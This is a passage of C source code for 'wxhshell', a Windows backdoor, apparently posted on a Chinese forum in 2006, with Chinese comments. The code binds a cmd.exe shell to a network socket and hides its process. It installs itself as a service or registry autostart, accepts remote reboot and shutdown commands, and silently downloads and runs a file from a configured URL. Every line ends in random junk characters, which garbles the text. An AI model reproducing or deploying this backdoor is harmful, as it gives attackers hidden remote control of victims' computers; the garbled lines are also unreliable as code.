      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6HyQm?c>a  
    break; <)&;9C  
  } 3K{'~?mM  
  // 安装 Bb m1&d#  
  case 'i': { >n#Pq{7aF  
    if(Install()) hD"Tjd` P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 #_R`(C{  
    else y'{0|Xj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6j0!$q^  
    break; 8[eH8m#~$  
    } P66>w})@  
  // 卸载 (sZ B-  
  case 'r': { yPW?%7 h  
    if(Uninstall()) Rgg(rF=K6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Vh#Ye:`  
    else  'y1=Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f>dWl$/_s  
    break; 7JjTm^bu  
    } ~G"5!,J  
  // 显示 wxhshell 所在路径 Rc @p!Xi  
  case 'p': { rZ<@MV|d  
    char svExeFile[MAX_PATH]; lbMb  
    strcpy(svExeFile,"\n\r"); 4]B(2FR[8  
      strcat(svExeFile,ExeFile); XB2[{XH,  
        send(wsh,svExeFile,strlen(svExeFile),0); .(D-vkz'  
    break; $Z #  
    } ((#|>W\&  
  // 重启 , j7&(V~  
  case 'b': { ZPHB$]ri  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ><%z~s  
    if(Boot(REBOOT)) )jvYJ9s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PXWBc\  
    else { 0P z"[  
    closesocket(wsh); 2 g,UdG  
    ExitThread(0); C/!kMMh>vV  
    } nF]lSg&]X  
    break; so1% MV  
    } .,I^)8c  
  // 关机 Bf.@B0\  
  case 'd': { Ft'?43J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y'wQ(6ok  
    if(Boot(SHUTDOWN)) yi PMJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); THC34u]  
    else { ;BsyN[bF  
    closesocket(wsh); }Til $TT%H  
    ExitThread(0); x^&D8&4^  
    } ; &$djP  
    break; !IF#L0z  
    } pxjb^GZ0  
  // 获取shell 7xqTTN6h  
  case 's': { -Z9e}$q$,  
    CmdShell(wsh); JHBX'1GQa  
    closesocket(wsh); sSU p7V  
    ExitThread(0); um~U_&>  
    break; T|[zk.8=E  
  } h{#Hwp  
  // 退出 4vC { G.  
  case 'x': { _46 y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cyL"?vR*<  
    CloseIt(wsh); g m'8,ZL  
    break; #!qa#.Yi  
    } Dn1aaN6  
  // 离开 f5'Cq)Vw_  
  case 'q': { < j^8L^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {FNmYneh?6  
    closesocket(wsh); %v5IR  
    WSACleanup(); HJ~0_n&  
    exit(1); rE)lt0mkv  
    break; K?`Fpg (  
        } (Rj'd>%c  
  } $DBJ"8n2  
  } >|IUjv2L  
0ZcvpR?G  
  // 提示信息 [z=KHk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sF[7pE  
} &?59{B. mD  
  } :(ni/,~Q  
TL'^@Y7X5  
  return; g$+ $@~  
} j6}/pe*;;T  
[TRHcz n  
// shell模块句柄 |L wn<y  
int CmdShell(SOCKET sock) ?> )(;Ir9  
{ kyR=U`OW  
STARTUPINFO si; Mwm9{1{  
ZeroMemory(&si,sizeof(si)); cHP~J%&L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^26vP7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6_}& WjU'  
PROCESS_INFORMATION ProcessInfo; 4C m+xAXG  
char cmdline[]="cmd"; Vh=10Et  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U~H]w ,^  
  return 0; .d/e?H:  
} ,%Sf,h?"^  
Qx<86aKkF  
// 自身启动模式 w`ebZa/j  
int StartFromService(void) ?y"= jn  
{ ;l4 epN  
typedef struct H+lBb$  
{ (m:ktd=x  
  DWORD ExitStatus; B bP&-c  
  DWORD PebBaseAddress; <9Sg,ix't  
  DWORD AffinityMask; n;QMiz:yY  
  DWORD BasePriority; S3fyt]pp  
  ULONG UniqueProcessId; O S?S$y  
  ULONG InheritedFromUniqueProcessId; dK.k,7R  
}   PROCESS_BASIC_INFORMATION; 4+?d0  
8p"R4  
PROCNTQSIP NtQueryInformationProcess; @?bO@  
s&.VU|=VQ@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NW?.Ge.!P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -0P(lkylf  
<+3-(&  
  HANDLE             hProcess; u]`ur#_  
  PROCESS_BASIC_INFORMATION pbi; >_esLsPWh]  
"Zr+>a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !N"Y  
  if(NULL == hInst ) return 0; ,]FcWx \u  
U?/C>g%/PI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )b\89 F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jc0Trs{Jf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cI #! Y  
%0&c0vT  
  if (!NtQueryInformationProcess) return 0; KdN+$fe*g  
v2K6y|6,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0vYHx V  
  if(!hProcess) return 0; MeCHn2zwB  
3+~m9:9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U]Pl` =SL  
`%@| sK2  
  CloseHandle(hProcess); X7."hGu@  
i`st'\I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z~[EZgIg  
if(hProcess==NULL) return 0; lJ>OuSd  
n=_jmR1  
HMODULE hMod; `bAOhaB,/  
char procName[255]; 25R6>CXsi  
unsigned long cbNeeded; #]SiS2lM#  
x b6X8:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pXap<T  
YZ\a#s ,0  
  CloseHandle(hProcess); `514HgR  
OK8|w]-A  
if(strstr(procName,"services")) return 1; // 以服务启动 P[L] S7FTr  
zqJ0pDS  
  return 0; // 注册表启动 +5<]s+4T  
} xQKRUHDc  
veq.48E]  
// 主模块 <h"07.y  
int StartWxhshell(LPSTR lpCmdLine) =sFLzAu8  
{ (6g;FD:"6  
  SOCKET wsl; ,RXfJh  
BOOL val=TRUE; =wcqCW,]  
  int port=0; **KkPjAO?  
  struct sockaddr_in door; G?$0OU  
p3`odmbN  
  if(wscfg.ws_autoins) Install(); wbImE;-Z  
$v \@mW*R  
port=atoi(lpCmdLine); u#bd*(  
gR#lRA/  
if(port<=0) port=wscfg.ws_port; %D_pTD\  
}eLnTi{  
  WSADATA data; Or:a\qQ1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KB@F^&L {  
S!oG|%VuB#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v{2euOFE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kf>]M|G c  
  door.sin_family = AF_INET; u6#FG9W7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $>*TO1gb+  
  door.sin_port = htons(port); kZU v/]Y.  
ud`!X#e~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n`TXm g  
closesocket(wsl); 9*&RvsrX  
return 1; }K3!ujvR  
} }.S4;#|hw  
Xg^9k00C  
  if(listen(wsl,2) == INVALID_SOCKET) { WAzn`xGxR"  
closesocket(wsl); -ufO,tJRLL  
return 1; tqYwP Sr  
} &i{>Li  
  Wxhshell(wsl); 3*<?'O7I0  
  WSACleanup(); 5vSJjhS  
&:@)ro CR  
return 0; |G(9mnZ1  
ba`V`0p-(  
} "j*{7FBqk  
r@)_>(  
// 以NT服务方式启动 NW%u#MZ[h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qGK -f4  
{ Li2-G  
DWORD   status = 0; Bsc&#  
  DWORD   specificError = 0xfffffff; _VM()n;  
+$SJ@IH[<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *p  !F+"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4n5r<?rY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G[4$@{  
  serviceStatus.dwWin32ExitCode     = 0; #[LnDU8>9  
  serviceStatus.dwServiceSpecificExitCode = 0; E9]\ I> v  
  serviceStatus.dwCheckPoint       = 0; `{v!|.d<  
  serviceStatus.dwWaitHint       = 0; ,e93I6  
r2.f8U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }#D+}Mo!,  
  if (hServiceStatusHandle==0) return; QKVFH:"3  
(fUpj^E)p  
status = GetLastError(); T=~D>2C  
  if (status!=NO_ERROR) _Yqog/sG  
{ lXnzomU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sngM4ikhs  
    serviceStatus.dwCheckPoint       = 0; Bkaupvv9S  
    serviceStatus.dwWaitHint       = 0; UZDXv=r|  
    serviceStatus.dwWin32ExitCode     = status; ]8~{C>ch$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y Z.? k4>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "> ]{t[Ib  
    return; xC}9W6  
  } l.3|0lopX)  
@ )< 3Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q  W"  
  serviceStatus.dwCheckPoint       = 0; JIH6!  
  serviceStatus.dwWaitHint       = 0; u301xc,N<z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fFiFS\''V  
} ='z4bU  
umJ!j&(  
// 处理NT服务事件,比如:启动、停止 41oXOB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Op>l~{{{  
{ )Bo]+\2  
switch(fdwControl) :41Ch^\E  
{ zxhE9 [`*e  
case SERVICE_CONTROL_STOP: /Y_)dz^@  
  serviceStatus.dwWin32ExitCode = 0; /UP1*L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yR'%UpaE  
  serviceStatus.dwCheckPoint   = 0; kl+^0i  
  serviceStatus.dwWaitHint     = 0; !=SBeq  
  { (_.0g}2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#A%aLp0E  
  } D.:6X'hp  
  return; mYRsM s  
case SERVICE_CONTROL_PAUSE: vDit&Lh{T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7AouiL 2-W  
  break; CA[3 R  
case SERVICE_CONTROL_CONTINUE: {I^@BW-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WMk;-,S!)  
  break; s+ a} _a:  
case SERVICE_CONTROL_INTERROGATE: }Y`D^z~  
  break; ?j^:jV  
}; }T1.~E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FA7q pc  
} U ,7O{YM  
4Uzx2   
// 标准应用程序主函数 qC4Q+"'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `-)Hot)  
{ 1n-+IR"  
FofeQ  
// 获取操作系统版本 A(v5VvgZE  
OsIsNt=GetOsVer(); {1Hs5bg@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q xm:5P  
C(!A% >  
  // 从命令行安装 eJ3;Sd''  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Et%s8{  
=6H  
  // 下载执行文件 EgB$y"fs  
if(wscfg.ws_downexe) { <l!{j?Kx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XN %tcaY  
  WinExec(wscfg.ws_filenam,SW_HIDE); _|f_%S8a_=  
} {$P')> /  
yO*HJpc   
if(!OsIsNt) { qS?uMms7w  
// 如果时win9x,隐藏进程并且设置为注册表启动 `E:&a]ul  
HideProc(); /kH 7I  
StartWxhshell(lpCmdLine); J<h! H  
} /c|X:F!;X#  
else RTQtXv6mD  
  if(StartFromService()) 5!jU i9  
  // 以服务方式启动 0hv}*NYd  
  StartServiceCtrlDispatcher(DispatchTable); 45aFH}w:  
else ApSzkPv*  
  // 普通方式启动 ^jB17z[  
  StartWxhshell(lpCmdLine); +.pri  
efX iZ  
return 0; #BhDC.CcW  
}
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只看该作者 1 发表于: 2006-10-10
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